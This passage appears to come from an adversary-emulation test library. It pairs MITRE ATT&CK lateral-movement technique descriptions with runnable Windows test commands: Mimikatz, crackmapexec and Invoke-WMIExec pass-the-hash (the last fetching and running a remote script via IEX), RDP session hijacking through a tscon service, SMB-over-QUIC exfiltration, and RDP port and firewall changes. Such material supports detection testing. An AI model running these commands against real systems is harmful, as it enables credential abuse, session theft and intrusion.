Deploy installer New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest "https://download.pdq.com/release/19/Deploy_19.3.350.0.exe" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\#{PDQ_Deploy_installer}" Write-Host Install PDQ Deploy Start-Process "PathToAtomicsFolder\..\ExternalPayloads\#{PDQ_Deploy_installer}" -Wait -ArgumentList "/s" executor: name: command_prompt elevation_required: true command: '"%PROGRAMFILES(x86)%/#{PDQ_Deploy_exe}" ' - name: Deploy 7-Zip Using Chocolatey auto_generated_guid: 2169e8b0-2ee7-44cb-8a6e-d816a5db7d8a description: 'An adversary may use Chocolatey to remotely deploy the 7-Zip file archiver utility. ' supported_platforms: - windows dependency_executor_name: powershell dependencies: - description: 'Chocolatey must be installed to deploy 7-Zip. ' prereq_command: 'if (Test-Path "${env:ProgramFiles(x86)}\Chocolatey\choco.exe") {exit 0} else {exit 1} ' get_prereq_command: | Write-Host Downloading Chocolatey installer Invoke-WebRequest -Uri "https://chocolatey.org/install.ps1" -OutFile "chocolatey-install.ps1" Write-Host Installing Chocolatey Start-Process -FilePath "powershell.exe" -ArgumentList "-NoProfile -ExecutionPolicy Bypass -File chocolatey-install.ps1" -Wait executor: name: powershell elevation_required: false command: | # Deploy 7-Zip using Chocolatey choco install -y 7zip T1210: technique: x_mitre_platforms: - Linux - Windows - macOS x_mitre_domains: - enterprise-attack x_mitre_contributors: - ExtraHop object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82 type: attack-pattern created: '2018-04-18T17:59:24.739Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1210 url: https://attack.mitre.org/techniques/T1210 - url: https://www.cisecurity.org/advisory/multiple-vulnerabilities-in-microsoft-windows-smb-server-could-allow-for-remote-code-execution/ description: CIS. (2017, May 15). Multiple Vulnerabilities in Microsoft Windows SMB Server Could Allow for Remote Code Execution. Retrieved April 3, 2018. source_name: CIS Multiple SMB Vulnerabilities - url: https://nvd.nist.gov/vuln/detail/CVE-2017-0176 description: National Vulnerability Database. (2017, June 22). CVE-2017-0176 Detail. Retrieved April 3, 2018. source_name: NVD CVE-2017-0176 - url: https://nvd.nist.gov/vuln/detail/CVE-2016-6662 description: National Vulnerability Database. (2017, February 2). CVE-2016-6662 Detail. Retrieved April 3, 2018. source_name: NVD CVE-2016-6662 - url: https://nvd.nist.gov/vuln/detail/CVE-2014-7169 description: National Vulnerability Database. (2017, September 24). CVE-2014-7169 Detail. Retrieved April 3, 2018. source_name: NVD CVE-2014-7169 modified: '2022-05-11T14:00:00.188Z' name: Exploitation of Remote Services description: |- Adversaries may exploit remote services to gain unauthorized access to internal systems once inside of a network. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote system. An adversary may need to determine if the remote system is in a vulnerable state, which may be done through [Network Service Discovery](https://attack.mitre.org/techniques/T1046) or other Discovery methods looking for common, vulnerable software that may be deployed in the network, the lack of certain patches that may indicate vulnerabilities, or security software that may be used to detect or contain remote exploitation. Servers are likely a high value target for lateral movement exploitation, but endpoint systems may also be at risk if they provide an advantage or access to additional resources. There are several well-known vulnerabilities that exist in common services such as SMB (Citation: CIS Multiple SMB Vulnerabilities) and RDP (Citation: NVD CVE-2017-0176) as well as applications that may be used within internal networks such as MySQL (Citation: NVD CVE-2016-6662) and web server services.(Citation: NVD CVE-2014-7169) Depending on the permissions level of the vulnerable remote service an adversary may achieve [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068) as a result of lateral movement exploitation as well. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: lateral-movement x_mitre_detection: Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution, evidence of [Discovery](https://attack.mitre.org/tactics/TA0007), or other unusual network traffic that may indicate additional tools transferred to the system. x_mitre_version: '1.1' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Network Traffic: Network Traffic Content' - 'Application Log: Application Log Content' x_mitre_permissions_required: - User x_mitre_system_requirements: - Unpatched software or otherwise vulnerable target. Depending on the target and goal, the system and exploitable service may need to be remotely accessible from the internal network. x_mitre_is_subtechnique: false spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1534: technique: modified: '2024-02-16T13:09:39.215Z' name: Internal Spearphishing description: |- After they already have access to accounts or systems within the environment, adversaries may use internal spearphishing to gain access to additional information or compromise other users within the same organization. Internal spearphishing is multi-staged campaign where a legitimate account is initially compromised either by controlling the user's device or by compromising the account credentials of the user. Adversaries may then attempt to take advantage of the trusted internal account to increase the likelihood of tricking more victims into falling for phish attempts, often incorporating [Impersonation](https://attack.mitre.org/techniques/T1656).(Citation: Trend Micro - Int SP) For example, adversaries may leverage [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) or [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002) as part of internal spearphishing to deliver a payload or redirect to an external site to capture credentials through [Input Capture](https://attack.mitre.org/techniques/T1056) on sites that mimic login interfaces. Adversaries may also leverage internal chat apps, such as Microsoft Teams, to spread malicious content or engage users in attempts to capture sensitive information and/or credentials.(Citation: Int SP - chat apps) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: lateral-movement x_mitre_contributors: - Tim MalcomVetter - Swetha Prabakaran, Microsoft Threat Intelligence Center (MSTIC) x_mitre_deprecated: false x_mitre_detection: 'Network intrusion detection systems and email gateways usually do not scan internal email, but an organization can leverage the journaling-based solution which sends a copy of emails to a security service for offline analysis or incorporate service-integrated solutions using on-premise or API-based integrations to help detect internal spearphishing campaigns.(Citation: Trend Micro When Phishing Starts from the Inside 2017)' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Windows - macOS - Linux - Office 365 - SaaS - Google Workspace x_mitre_version: '1.3' x_mitre_data_sources: - 'Network Traffic: Network Traffic Content' - 'Network Traffic: Network Traffic Flow' - 'Application Log: Application Log Content' type: attack-pattern id: attack-pattern--9e7452df-5144-4b6e-b04a-b66dd4016747 created: '2019-09-04T19:26:12.441Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1534 external_id: T1534 - source_name: Trend Micro When Phishing Starts from the Inside 2017 description: Chris Taylor. (2017, October 5). When Phishing Starts from the Inside. Retrieved October 8, 2019. url: https://blog.trendmicro.com/phishing-starts-inside/ - source_name: Int SP - chat apps description: Microsoft Threat Intelligence. (2023, August 2). Midnight Blizzard conducts targeted social engineering over Microsoft Teams. Retrieved February 16, 2024. url: https://www.microsoft.com/en-us/security/blog/2023/08/02/midnight-blizzard-conducts-targeted-social-engineering-over-microsoft-teams/ - source_name: Trend Micro - Int SP description: Trend Micro. (n.d.). Retrieved February 16, 2024. url: https://www.trendmicro.com/en_us/research.html object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1570: technique: modified: '2023-10-01T13:48:28.738Z' name: Lateral Tool Transfer description: |- Adversaries may transfer tools or other files between systems in a compromised environment. Once brought into the victim environment (i.e., [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) files may then be copied from one system to another to stage adversary tools or other files over the course of an operation. Adversaries may copy files between internal victim systems to support lateral movement using inherent file sharing protocols such as file sharing over [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) to connected network shares or with authenticated connections via [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001).(Citation: Unit42 LockerGoga 2019) Files can also be transferred using native or otherwise present tools on the victim system, such as scp, rsync, curl, sftp, and [ftp](https://attack.mitre.org/software/S0095). In some cases, adversaries may be able to leverage [Web Service](https://attack.mitre.org/techniques/T1102)s such as Dropbox or OneDrive to copy files from one machine to another via shared, automatically synced folders.(Citation: Dropbox Malware Sync) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: lateral-movement x_mitre_contributors: - Shailesh Tiwary (Indian Army) x_mitre_deprecated: false x_mitre_detection: 'Monitor for file creation and files transferred within a network using protocols such as SMB or FTP. Unusual processes with internal network connections creating files on-system may be suspicious. Consider monitoring for abnormal usage of utilities and command-line arguments that may be used in support of remote transfer of files. Considering monitoring for alike file hashes or characteristics (ex: filename) that are created on multiple hosts.' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Linux - macOS - Windows x_mitre_version: '1.3' x_mitre_data_sources: - 'Named Pipe: Named Pipe Metadata' - 'Network Share: Network Share Access' - 'Network Traffic: Network Traffic Flow' - 'Command: Command Execution' - 'Process: Process Creation' - 'File: File Creation' - 'Network Traffic: Network Traffic Content' - 'File: File Metadata' type: attack-pattern id: attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5 created: '2020-03-11T21:01:00.959Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1570 external_id: T1570 - source_name: Dropbox Malware Sync description: David Talbot. (2013, August 21). Dropbox and Similar Services Can Sync Malware. Retrieved May 31, 2023. url: https://www.technologyreview.com/2013/08/21/83143/dropbox-and-similar-services-can-sync-malware/ - source_name: Unit42 LockerGoga 2019 description: Harbison, M. (2019, March 26). Born This Way? Origins of LockerGoga. Retrieved April 16, 2019. url: https://unit42.paloaltonetworks.com/born-this-way-origins-of-lockergoga/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1570 atomic_tests: - name: Exfiltration Over SMB over QUIC (New-SmbMapping) auto_generated_guid: d8d13303-159e-4f33-89f4-9f07812d016f description: | Simulates an attacker exfiltrating data over SMB over QUIC using the New-SmbMapping command. Prerequisites: - A file server running Windows Server 2022 Datacenter: Azure Edition - A Windows 11 computer - Windows Admin Center supported_platforms: - windows input_arguments: remote_path: description: The UNC path to the share on the file server type: string default: "\\\\example.com\\sales" local_file: description: The local file to be transferred type: path default: C:\path\to\file.txt executor: command: | New-SmbMapping -RemotePath '#{remote_path}' -TransportType QUIC -SkipCertificateCheck copy '#{local_file}' 'Z:\' name: powershell elevation_required: true - name: Exfiltration Over SMB over QUIC (NET USE) auto_generated_guid: 183235ca-8e6c-422c-88c2-3aa28c4825d9 description: | Simulates an attacker exfiltrating data over SMB over QUIC using the NET USE command. Prerequisites: - A file server running Windows Server 2022 Datacenter: Azure Edition - A Windows 11 computer - Windows Admin Center supported_platforms: - windows input_arguments: remote_path: description: The UNC path to the share on the file server type: string default: "\\\\example.com\\sales" local_file: description: The local file to be transferred type: path default: C:\path\to\file.txt executor: command: | NET USE * '#{remote_path}' /TRANSPORT:QUIC /SKIPCERTCHECK copy '#{local_file}' '*:\' name: powershell elevation_required: true T1550.004: technique: modified: '2023-09-19T21:26:24.725Z' name: Web Session Cookie description: |- Adversaries can use stolen session cookies to authenticate to web applications and services. This technique bypasses some multi-factor authentication protocols since the session is already authenticated.(Citation: Pass The Cookie) Authentication cookies are commonly used in web applications, including cloud-based services, after a user has authenticated to the service so credentials are not passed and re-authentication does not need to occur as frequently. Cookies are often valid for an extended period of time, even if the web application is not actively used. After the cookie is obtained through [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539) or [Web Cookies](https://attack.mitre.org/techniques/T1606/001), the adversary may then import the cookie into a browser they control and is then able to use the site or application as the user for as long as the session cookie is active. Once logged into the site, an adversary can access sensitive information, read email, or perform actions that the victim account has permissions to perform. There have been examples of malware targeting session cookies to bypass multi-factor authentication systems.(Citation: Unit 42 Mac Crypto Cookies January 2019) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: lateral-movement x_mitre_contributors: - Johann Rehberger - Jack Burns, HubSpot x_mitre_deprecated: false x_mitre_detection: Monitor for anomalous access of websites and cloud-based applications by the same user in different locations or by different systems that do not match expected configurations. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Office 365 - SaaS - Google Workspace - IaaS x_mitre_version: '1.3' x_mitre_data_sources: - 'Application Log: Application Log Content' - 'Web Credential: Web Credential Usage' x_mitre_defense_bypassed: - System Access Controls type: attack-pattern id: attack-pattern--c3c8c916-2f3c-4e71-94b2-240bdfc996f0 created: '2020-01-30T17:48:49.395Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1550/004 external_id: T1550.004 - source_name: Unit 42 Mac Crypto Cookies January 2019 description: Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges’ Cookies. Retrieved October 14, 2019. url: https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/ - source_name: Pass The Cookie description: Rehberger, J. (2018, December). Pivot to the Cloud using Pass the Cookie. Retrieved April 5, 2019. url: https://wunderwuzzi23.github.io/blog/passthecookie.html object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1563.002: technique: modified: '2023-08-14T15:37:02.771Z' name: 'Remote Service Session Hijacking: RDP Hijacking' description: |- Adversaries may hijack a legitimate user’s remote desktop session to move laterally within an environment. Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).(Citation: TechNet Remote Desktop Services) Adversaries may perform RDP session hijacking which involves stealing a legitimate user's remote session. Typically, a user is notified when someone else is trying to steal their session. With System permissions and using Terminal Services Console, `c:\windows\system32\tscon.exe [session number to be stolen]`, an adversary can hijack a session without the need for credentials or prompts to the user.(Citation: RDP Hijacking Korznikov) This can be done remotely or locally and with active or disconnected sessions.(Citation: RDP Hijacking Medium) It can also lead to [Remote System Discovery](https://attack.mitre.org/techniques/T1018) and Privilege Escalation by stealing a Domain Admin or higher privileged account session. All of this can be done by using native Windows commands, but it has also been added as a feature in red teaming tools.(Citation: Kali Redsnarf) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: lateral-movement x_mitre_deprecated: false x_mitre_detection: |- Consider monitoring processes for `tscon.exe` usage and monitor service creation that uses `cmd.exe /k` or `cmd.exe /c` in its arguments to detect RDP session hijacking. Use of RDP may be legitimate, depending on the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with RDP. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows x_mitre_version: '1.1' x_mitre_data_sources: - 'Logon Session: Logon Session Creation' - 'Process: Process Creation' - 'Command: Command Execution' - 'Network Traffic: Network Traffic Flow' - 'Network Traffic: Network Traffic Content' type: attack-pattern id: attack-pattern--e0033c16-a07e-48aa-8204-7c3ca669998c created: '2020-02-25T18:35:42.765Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1563/002 external_id: T1563.002 - source_name: RDP Hijacking Medium description: Beaumont, K. (2017, March 19). RDP hijacking — how to hijack RDS and RemoteApp sessions transparently to move through an organisation. Retrieved December 11, 2017. url: https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6 - source_name: RDP Hijacking Korznikov description: Korznikov, A. (2017, March 17). Passwordless RDP Session Hijacking Feature All Windows versions. Retrieved December 11, 2017. url: http://www.korznikov.com/2017/03/0-day-or-feature-privilege-escalation.html - source_name: TechNet Remote Desktop Services description: Microsoft. (n.d.). Remote Desktop Services. Retrieved June 1, 2016. url: https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx - source_name: Kali Redsnarf description: NCC Group PLC. (2016, November 1). Kali Redsnarf. Retrieved December 11, 2017. url: https://github.com/nccgroup/redsnarf object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1563.002 atomic_tests: - name: RDP hijacking auto_generated_guid: a37ac520-b911-458e-8aed-c5f1576d9f46 description: "[RDP hijacking](https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6) - how to hijack RDS and RemoteApp sessions transparently to move through an organization\n" supported_platforms: - windows input_arguments: Session_ID: description: The ID of the session to which you want to connect type: string default: '1337' Destination_ID: description: Connect the session of another user to a different session type: string default: rdp-tcp#55 executor: command: | query user sc.exe create sesshijack binpath= "cmd.exe /k tscon #{Session_ID} /dest:#{Destination_ID}" net start sesshijack cleanup_command: 'sc.exe delete sesshijack >nul 2>&1 ' name: command_prompt elevation_required: true T1550.002: technique: modified: '2023-07-28T18:24:16.246Z' name: 'Use Alternate Authentication Material: Pass the Hash' description: |- Adversaries may “pass the hash” using stolen password hashes to move laterally within an environment, bypassing normal system access controls. Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash. When performing PtH, valid password hashes for the account being used are captured using a [Credential Access](https://attack.mitre.org/tactics/TA0006) technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems. Adversaries may also use stolen password hashes to "overpass the hash." Similar to PtH, this involves using a password hash to authenticate as a user but also uses the password hash to create a valid Kerberos ticket. This ticket can then be used to perform [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) attacks.(Citation: Stealthbits Overpass-the-Hash) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: lateral-movement x_mitre_contributors: - Blake Strom, Microsoft 365 Defender - Travis Smith, Tripwire x_mitre_deprecated: false x_mitre_detection: |- Audit all logon and credential use events and review for discrepancies. Unusual remote logins that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity. NTLM LogonType 3 authentications that are not associated to a domain login and are not anonymous logins are suspicious. Event ID 4768 and 4769 will also be generated on the Domain Controller when a user requests a new ticket granting ticket or service ticket. These events combined with the above activity may be indicative of an overpass the hash attempt.(Citation: Stealthbits Overpass-the-Hash) x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows x_mitre_version: '1.2' x_mitre_data_sources: - 'Logon Session: Logon Session Creation' - 'Active Directory: Active Directory Credential Request' - 'User Account: User Account Authentication' x_mitre_defense_bypassed: - System Access Controls type: attack-pattern id: attack-pattern--e624264c-033a-424d-9fd7-fc9c3bbdb03e created: '2020-01-30T16:36:51.184Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1550/002 external_id: T1550.002 - source_name: Stealthbits Overpass-the-Hash description: Warren, J. (2019, February 26). How to Detect Overpass-the-Hash Attacks. Retrieved February 4, 2021. url: https://stealthbits.com/blog/how-to-detect-overpass-the-hash-attacks/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1550.002 atomic_tests: - name: Mimikatz Pass the Hash auto_generated_guid: ec23cef9-27d9-46e4-a68d-6f75f7b86908 description: | Note: must dump hashes first [Reference](https://github.com/gentilkiwi/mimikatz/wiki/module-~-sekurlsa#pth) supported_platforms: - windows input_arguments: user_name: description: username type: string default: Administrator ntlm: description: ntlm hash type: string default: cc36cf7a8514893efccd3324464tkg1a domain: description: domain type: string default: "%userdnsdomain%" mimikatz_path: description: mimikatz windows executable type: path default: "%tmp%\\mimikatz\\x64\\mimikatz.exe" dependency_executor_name: powershell dependencies: - description: 'Mimikatz executor must exist on disk and at specified location (#{mimikatz_path}) ' prereq_command: | $mimikatz_path = cmd /c echo #{mimikatz_path} if (Test-Path $mimikatz_path) {exit 0} else {exit 1} get_prereq_command: "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1\" -UseBasicParsing) \n$releases = \"https://api.github.com/repos/gentilkiwi/mimikatz/releases\"\n$zipUrl = (Invoke-WebRequest $releases | ConvertFrom-Json)[0].assets.browser_download_url | where-object { $_.endswith(\".zip\") }\n$mimikatz_exe = cmd /c echo #{mimikatz_path}\n$basePath = Split-Path $mimikatz_exe | Split-Path\nInvoke-FetchFromZip $zipUrl \"x64/mimikatz.exe\" $basePath\n" executor: command: '#{mimikatz_path} "sekurlsa::pth /user:#{user_name} /domain:#{domain} /ntlm:#{ntlm}" ' name: command_prompt - name: crackmapexec Pass the Hash auto_generated_guid: eb05b028-16c8-4ad8-adea-6f5b219da9a9 description: 'command execute with crackmapexec ' supported_platforms: - windows input_arguments: user_name: description: username type: string default: Administrator crackmapexec_exe: description: crackmapexec windows executable type: path default: C:\CrackMapExecWin\crackmapexec.exe command: description: command to execute type: string default: whoami ntlm: description: command type: string default: cc36cf7a8514893efccd3324464tkg1a domain: description: domain type: string default: "%userdnsdomain%" dependency_executor_name: powershell dependencies: - description: 'CrackMapExec executor must exist on disk at specified location (#{crackmapexec_exe}) ' prereq_command: 'if(Test-Path #{crackmapexec_exe}) {exit 0} else {exit 1} ' get_prereq_command: 'Write-Host Automated installer not implemented yet, please install crackmapexec manually at this location: #{crackmapexec_exe} ' executor: command: "#{crackmapexec_exe} #{domain} -u #{user_name} -H #{ntlm} -x #{command}\n" name: command_prompt - name: Invoke-WMIExec Pass the Hash auto_generated_guid: f8757545-b00a-4e4e-8cfb-8cfb961ee713 description: |- Use Invoke-WMIExec to Pass the Hash Note: must dump hashes first [Reference](https://github.com/gentilkiwi/mimikatz/wiki/module-~-sekurlsa#pth) supported_platforms: - windows input_arguments: ntlm: description: ntlm hash type: string default: cc36cf7a8514893efccd3324464tkg1a user_name: description: username type: string default: Administrator command: description: Command to run on target system type: string default: hostname target: description: System to run command on type: string default: "$env:COMPUTERNAME" executor: command: |- [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (IWR 'https://raw.githubusercontent.com/Kevin-Robertson/Invoke-TheHash/01ee90f934313acc7d09560902443c18694ed0eb/Invoke-WMIExec.ps1' -UseBasicParsing);Invoke-WMIExec -Target #{target} -Username #{user_name} -Hash #{ntlm} -Command #{command} name: powershell T1021.001: technique: modified: '2023-08-07T14:23:30.265Z' name: 'Remote Services: Remote Desktop Protocol' description: "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a computer using the Remote Desktop Protocol (RDP). The adversary may then perform actions as the logged-on user.\n\nRemote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).(Citation: TechNet Remote Desktop Services) \n\nAdversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. Adversaries will likely use Credential Access techniques to acquire credentials to use with RDP. Adversaries may also use RDP in conjunction with the [Accessibility Features](https://attack.mitre.org/techniques/T1546/008) or [Terminal Services DLL](https://attack.mitre.org/techniques/T1505/005) for Persistence.(Citation: Alperovitch Malware)" kill_chain_phases: - kill_chain_name: mitre-attack phase_name: lateral-movement x_mitre_contributors: - Matthew Demaske, Adaptforward x_mitre_deprecated: false x_mitre_detection: Use of RDP may be legitimate, depending on the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with RDP. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows x_mitre_version: '1.2' x_mitre_data_sources: - 'Network Traffic: Network Traffic Flow' - 'Logon Session: Logon Session Creation' - 'Network Traffic: Network Connection Creation' - 'Process: Process Creation' - 'Logon Session: Logon Session Metadata' x_mitre_system_requirements: - RDP service enabled, account in the Remote Desktop Users group type: attack-pattern id: attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf created: '2020-02-11T18:23:26.059Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1021/001 external_id: T1021.001 - source_name: Alperovitch Malware description: Alperovitch, D. (2014, October 31). Malware-Free Intrusions. Retrieved November 4, 2014. url: http://blog.crowdstrike.com/adversary-tricks-crowdstrike-treats/ - source_name: TechNet Remote Desktop Services description: Microsoft. (n.d.). Remote Desktop Services. Retrieved June 1, 2016. url: https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1021.001 atomic_tests: - name: RDP to DomainController auto_generated_guid: 355d4632-8cb9-449d-91ce-b566d0253d3e description: 'Attempt an RDP session via Remote Desktop Application to a DomainController. ' supported_platforms: - windows input_arguments: logonserver: description: ComputerName argument default %logonserver% type: string default: $ENV:logonserver.TrimStart("\") domain: description: domain argument default %USERDOMAIN% type: string default: "$Env:USERDOMAIN" username: description: Username argument default %username% type: string default: "$ENV:USERNAME" password: description: Password type: string default: 1password2! dependencies: - description: 'Computer must be domain joined ' prereq_command: 'if((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain) { exit 0} else { exit 1} ' get_prereq_command: 'Write-Host Joining this computer to a domain must be done manually ' executor: command: | $Server=#{logonserver} $User = Join-Path #{domain} #{username} $Password="#{password}" cmdkey /generic:TERMSRV/$Server /user:$User /pass:$Password mstsc /v:$Server echo "RDP connection established" cleanup_command: | $p=Tasklist /svc /fi "IMAGENAME eq mstsc.exe" /fo csv | convertfrom-csv if(-not ([string]::IsNullOrEmpty($p.PID))) { Stop-Process -Id $p.PID } name: powershell - name: Changing RDP Port to Non Standard Port via Powershell auto_generated_guid: 2f840dd4-8a2e-4f44-beb3-6b2399ea3771 description: 'Changing RDP Port to Non Standard Port via Powershell ' supported_platforms: - windows input_arguments: OLD_Remote_Port: description: Default RDP Listening Port type: string default: '3389' NEW_Remote_Port: description: New RDP Listening Port type: string default: '4489' executor: command: | Set-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' -name "PortNumber" -Value #{NEW_Remote_Port} New-NetFirewallRule -DisplayName 'RDPPORTLatest-TCP-In' -Profile 'Public' -Direction Inbound -Action Allow -Protocol TCP -LocalPort #{NEW_Remote_Port} cleanup_command: "Set-ItemProperty -Path 'HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp' -name \"PortNumber\" -Value #{OLD_Remote_Port}\nRemove-NetFirewallRule -DisplayName \"RDPPORTLatest-TCP-In\" -ErrorAction Ignore \nGet-Service TermService | Restart-Service -Force -ErrorAction Ignore \n" name: powershell elevation_required: true - name: Changing RDP Port to Non Standard Port via Command_Prompt auto_generated_guid: 74ace21e-a31c-4f7d-b540-53e4eb6d1f73 description: 'Changing RDP Port to Non Standard Port via Command_Prompt ' supported_platforms: - windows input_arguments: OLD_Remote_Port: description: Default RDP Listening Port type: string default: '3389' NEW_Remote_Port: description: New RDP Listening Port type: string default: '4489' executor: command: | reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d #{NEW_Remote_Port} /f netsh advfirewall firewall add rule name="RDPPORTLatest-TCP-In" dir=in action=allow protocol=TCP localport=#{NEW_Remote_Port} cleanup_command: | reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d #{OLD_Remote_Port} /f >nul 2>&1 netsh advfirewall firewall delete rule name="RDPPORTLatest-TCP-In" >nul 2>&1 net stop TermService /y >nul 2>&1 net start TermService >nul 2>&1 name: command_prompt elevation_required: true - name: Disable NLA for RDP via Command Prompt auto_generated_guid: 01d1c6c0-faf0-408e-b368-752a02285cb2 description: | Disables network-level authentication (NLA) for RDP by changing a registry key via Command Prompt Disabling NLA for RDP can allow remote user interaction with the Windows sign-in screen prior to authentication. According to Microsoft, Flax Typhoon actors used this technique implementation to achieve persistence on victim systems: 